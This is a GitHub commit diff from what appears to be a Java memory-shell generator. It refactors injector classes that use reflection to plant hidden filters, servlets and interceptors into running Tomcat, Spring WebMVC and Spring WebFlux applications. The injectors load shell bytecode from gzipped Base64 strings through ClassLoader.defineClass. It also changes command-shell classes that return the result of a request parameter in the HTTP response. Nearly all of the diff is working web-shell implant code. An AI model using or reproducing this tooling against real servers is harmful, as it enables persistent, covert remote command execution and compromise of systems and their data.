Skip to content

Commit 5c4f807

Browse files
committed
refactor: simplify code
1 parent e8c2d47 commit 5c4f807

File tree

6 files changed

+14
-46
lines changed

6 files changed

+14
-46
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java

Lines changed: 6 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ public String getBase64String() throws IOException {
3232
public SpringWebFluxWebFilterInjector() {
3333
try {
3434
FilteringWebHandler webHandler = getWebHandler();
35-
Object filter = getShell();
35+
Object filter = getShell(webHandler);
3636
inject(webHandler, filter);
3737
} catch (Exception e) {
3838
e.printStackTrace();
@@ -52,19 +52,18 @@ public FilteringWebHandler getWebHandler() throws Exception {
5252
return null;
5353
}
5454

55-
private Object getShell() throws Exception {
56-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
57-
Object interceptor = null;
55+
@SuppressWarnings("all")
56+
private Object getShell(Object context) throws Exception {
57+
ClassLoader classLoader = context.getClass().getClassLoader();
5858
try {
59-
interceptor = classLoader.loadClass(getClassName()).newInstance();
59+
return classLoader.loadClass(getClassName()).newInstance();
6060
} catch (Exception e) {
6161
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
6262
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
6363
defineClass.setAccessible(true);
6464
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
65-
interceptor = clazz.newInstance();
65+
return clazz.newInstance();
6666
}
67-
return interceptor;
6867
}
6968

7069
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {

generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java

Lines changed: 3 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -34,24 +34,14 @@ public SpringWebMvcInterceptorInjector() {
3434
}
3535
}
3636

37-
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
38-
try {
39-
return classLoader.loadClass("javax.servlet.ServletContext");
40-
} catch (Throwable e) {
41-
return classLoader.loadClass("jakarta.servlet.ServletContext");
42-
}
43-
}
44-
45-
@SuppressWarnings("unchecked")
37+
@SuppressWarnings("all")
4638
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
4739
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
4840
Object context = null;
4941
try {
5042
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
5143
Object request = invokeMethod(requestAttributes, "getRequest");
52-
Object session = invokeMethod(request, "getSession");
53-
Object servletContext = invokeMethod(session, "getServletContext");
54-
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
44+
context = invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
5545
} catch (Exception e) {
5646
e.printStackTrace();
5747
}
@@ -69,6 +59,7 @@ public Object getContext() throws ClassNotFoundException, InvocationTargetExcept
6959
return context;
7060
}
7161

62+
@SuppressWarnings("all")
7263
private Object getShell() throws Exception {
7364
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
7465
Object interceptor = null;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -133,12 +133,7 @@ public void inject(Object context, Object shell) throws Exception {
133133
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
134134
}
135135

136-
Constructor filterConfigConstructor;
137-
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
138-
filterConfigConstructor.setAccessible(true);
139-
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
140-
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
141-
filterConfigs.put(getClassName(), filterConfig);
136+
invokeMethod(context, "filterStart", null, null);
142137
System.out.println("filter inject success");
143138
}
144139

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

Lines changed: 1 addition & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -84,7 +84,7 @@ private Object getShell(Object context) throws Exception {
8484

8585
@SuppressWarnings("all")
8686
public void inject(Object context, Object servlet) throws Exception {
87-
if (isInjected(context)) {
87+
if (invokeMethod(context, "findServletMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
8888
System.out.println("servlet already injected");
8989
return;
9090
}
@@ -107,18 +107,6 @@ public void inject(Object context, Object servlet) throws Exception {
107107
System.out.println("servlet inject success");
108108
}
109109

110-
@SuppressWarnings("all")
111-
public boolean isInjected(Object context) throws Exception {
112-
Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings");
113-
Collection<String> values = servletMappings.values();
114-
for (String name : values) {
115-
if (name.equals(getClassName())) {
116-
return true;
117-
}
118-
}
119-
return false;
120-
}
121-
122110
private void support56Inject(Object context, Object wrapper) throws Exception {
123111
ClassLoader contextClassLoader = context.getClass().getClassLoader();
124112
Class<?> serverInfo = contextClassLoader.loadClass("org.apache.catalina.util.ServerInfo");

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java

Lines changed: 2 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,10 @@
33
import org.springframework.web.servlet.AsyncHandlerInterceptor;
44
import org.springframework.web.servlet.ModelAndView;
55

6-
import javax.servlet.ServletOutputStream;
76
import javax.servlet.http.HttpServletRequest;
87
import javax.servlet.http.HttpServletResponse;
98
import java.io.InputStream;
9+
import java.util.Scanner;
1010

1111
/**
1212
* @author ReaJason
@@ -21,12 +21,7 @@ public boolean preHandle(HttpServletRequest request, HttpServletResponse respons
2121
String param = getParam(request.getParameter(paramName));
2222
if (param != null) {
2323
InputStream inputStream = getInputStream(param);
24-
ServletOutputStream outputStream = response.getOutputStream();
25-
byte[] buf = new byte[8192];
26-
int length;
27-
while ((length = inputStream.read(buf)) != -1) {
28-
outputStream.write(buf, 0, length);
29-
}
24+
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
3025
return false;
3126
}
3227
} catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@
1616
* @author ReaJason
1717
* @since 2024/12/25
1818
*/
19-
public class CommandWebFilter extends ClassLoader implements WebFilter {
19+
public class CommandWebFilter implements WebFilter {
2020
public static String paramName;
2121

2222
@Override

0 commit comments

Comments
 (0)